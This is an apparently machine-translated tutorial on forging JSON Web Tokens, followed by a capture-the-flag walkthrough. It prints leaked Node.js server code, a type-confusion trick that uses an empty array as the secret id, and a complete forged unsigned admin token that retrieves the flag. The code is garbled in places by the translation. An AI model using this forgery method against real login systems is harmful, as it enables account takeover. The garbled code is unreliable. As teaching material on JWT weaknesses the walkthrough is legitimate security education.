Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to realize JWT forgery

2025-02-28 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

This article mainly explains "how to achieve JWT forgery". The content in the article is simple and clear, and it is easy to learn and understand. Please follow the editor's train of thought to study and learn "how to achieve JWT forgery".

A brief introduction to what JWT is.

Json web token (JWT) is an open standard based on JSON (RFC 7519) for passing declarations between network application environments. The token is designed to be compact and secure and is particularly suitable for single sign-on (SSO) scenarios at distributed sites. The declaration of JWT is generally used to transfer authenticated user identity information between the identity provider and the service provider in order to obtain resources from the resource server, and can also add some additional declaration information necessary for other business logic. The token can also be directly used for authentication or can be encrypted.

In fact, a piece of data like this

This string of data is based on (.) As a separator, it is divided into three parts, in turn as follows:

Header

EyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 is decoded to {"alg": "HS256", "typ": "JWT"} alg attribute indicates the algorithm of signature (algorithm), default is HMAC SHA256 (written as HS256); typ attribute indicates the type (type) of this token (token), JWT token is written as JWT.

Payload

The eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ is decoded to {"sub": "1234567890", "name": "John Doe", "iat": 1516239022} JWT. Seven official fields are specified for iss (issuer): issuer exp (expiration time): expiration sub (subject): subject aud (audience): audience nbf (Not Before): effective time iat (Issued At): issue time jti (JWT ID): number

Signature

The Signature part is the signature of the first two parts to prevent data tampering.

First, you need to specify a key (secret). This key is known only to the server and cannot be disclosed to the user. Then, using the signature algorithm specified in Header (default is HMAC SHA256), generate the signature according to the following formula.

HMACSHA256 (base64UrlEncode (header) + "." + base64UrlEncode (payload), secret)

After calculating the signature, the three parts Header, Payload, and Signature are put together into a string. Each part is separated by a "dot" (.), and it can be returned to the user.

JWT security issues generally have the following

Modify the algorithm to none

Modify the algorithm from RS256 to HS256

Information disclosure key disclosure

Blasting key

First of all, there is a login box. Let's sign up for an account admin123,admin123.

The meaning of the title should be to find a way to log in as admin.

Check the front-end code js/app.js

/ * maybe koa-static should be used to deal with static files * how to configure the path? Anyway, fill in the root directory XD * / function login () {const username = $("# username"). Val (); const password = $("# password"). Val (); const token = sessionStorage.getItem ("token"); $.post ("/ api/login", {username, password, authorization:token}) .done (function (data) {const {status} = data) If (status) {_ document.location = "/ home";}}) .fail (function (xhr, textStatus, errorThrown) {alert (xhr.responseJSON.message);});} function register () {const username = $("# username"). Val () Const password = $("# password"). Val (); $.post ("/ api/register", {username, password}) .done (function (data) {const {token} = data; sessionStorage.setItem ('token', token); _ document.location = "/ login") ) .fail (function (xhr, textStatus, errorThrown) {alert (xhr.responseJSON.message);});} function logout () {$.get ('/ api/logout') .done (function (data) {const {status} = data; if (status) {_ document.location ='/ login') }});} function getflag () {$.get ('/ api/flag') .done (function (data) {const {flag} = data; $("# username") .val (flag);}) .fail (function (xhr, textStatus, errorThrown) {alert (xhr.responseJSON.message);});}

According to the comments prompt, we can find the problem of source code leakage.

Then the source code leak was found.

You can get the source code by visiting app.js,controller.js,rest.js

Key code controllers/api.js

Const crypto = require ('crypto'); const fs = require (' fs') const jwt = require ('jsonwebtoken') const APIError = require ('.. / rest'). APIError; module.exports = {'POST / api/register': async (ctx, next) = > {const {username, password} = ctx.request.body If (! username | | username = = 'admin') {throw new APIError (' register error', 'wrong username');} if (global.secrets.length > 100000) {global.secrets = [];} const secret = crypto.randomBytes (18). ToString (' hex'); const secretid = global.secrets.length Global.secrets.push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm: 'HS256'}); ctx.rest ({token: token}); await next ();},' POST / api/login': async (ctx, next) = > {const {username, password} = ctx.request.body If (! username | |! password) {throw new APIError ('login error',' username or password is necessary');} const token = ctx.header.authorization | | ctx.request.body.authorization | | ctx.request.query.authorization; const sid = JSON.parse (Buffer.from (token.split ('.) [1], 'base64'). ToString (). Secretid Console.log (sid) if (sid = = undefined | | sid = = null | |! (sid)

< global.secrets.length && sid >

= 0) {throw new APIError ('login error',' no such secret id');} const secret = global.secrets [sid]; const user = jwt.verify (token, secret, {algorithm: 'HS256'}); const status = username = = user.username & & password = = user.password; if (status) {ctx.session.username = username } ctx.rest ({status}); await next ();}, 'GET / api/flag': async (ctx, next) = > {if (ctx.session.username! = =' admin') {throw new APIError ('permission error',' permission denied') } const flag = fs.readFileSync ('/ flag'). ToString (); ctx.rest ({flag}); await next ();}, 'GET / api/logout': async (ctx, next) = > {ctx.session.username = null Ctx.rest ({status: true}) await next ();}

When you try to register, you can see that a token is generated at the time of registration and stored in the sessionStorage.

Get:

EyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbjEyMyIsInBhc3N3b3JkIjoiYWRtaW4xMjMiLCJpYXQiOjE1ODczNzg4MjB9.o5ePpkaTQcSBxmOV-z6hBsWmvvbkd1a_C6Eu7Dpok4Q

Decrypt it to get:

Token generation process

Const secret = crypto.randomBytes (18). ToString ('hex'); const secretid = global.secrets.length; global.secrets.push (secret) const token = jwt.sign ({secretid, username, password}, secret, {algorithm:' HS256'})

Looking at the various conditions, sid will be verified first. We need to bypass this authentication. Below, there is a verification of jwt.verify () and assign a value to user.

Const sid = JSON.parse (Buffer.from (token.split ('.') [1], 'base64') .toString () .traditid; console.log (sid) if (sid = = undefined | | sid = = null | |! (sid)

< global.secrets.length && sid >

= 0) {throw new APIError ('login error',' no such secret id');} const secret = global.secrets [sid]; const user = jwt.verify (token, secret, {algorithm: 'HS256'}); const status = username = = user.username & & password = = user.password;. .... 'GET / api/flag': async (ctx, next) = > {if (ctx.session.username! = =' admin') {throw new APIError ('permission error',' permission denied');}

The key here has generated 18 bits, and there is basically no possibility of explosion. the method we use is to set the algorithm (alg) to none, and then we need to make the secret in jwt.verify () verification empty. Here is a tricks.

$node > const secrets = [1MIT 2JI 3JI 4] undefined > const sid = [] undefined > const secret = secrets [sid] undefined > secret undefined

Let's see if we can pass the conditions.

Const sid = JSON.parse (Buffer.from (token.split ('.') [1], 'base64') .toString () .traditid; run result > sid

< secrets.length true >

Sid > = 0 true We modify the original header: {"alg": "HS256", "typ": "JWT"} = = > {"alg": "none", "typ": "JWT"} and encrypt it to eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 modify payload {"secretid": 1, "username": "admin123", "password": "admin123", "iat": 1587378820} = > {"secretid": [] "username": "admin", "password": "admin123", "iat": 1587378820} and encrypted to eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ

Finally, use (.) to splice to get the forged token.

EyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6ImFkbWluMTIzIiwiaWF0IjoxNTg3Mzc4ODIwfQ.

Modify sessionStorage

Then log in to api/flag using admin,admin123 to get flag

Thank you for your reading, the above is the content of "how to achieve JWT forgery", after the study of this article, I believe you have a deeper understanding of how to achieve JWT forgery, and the specific use needs to be verified in practice. Here is, the editor will push for you more related knowledge points of the article, welcome to follow!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report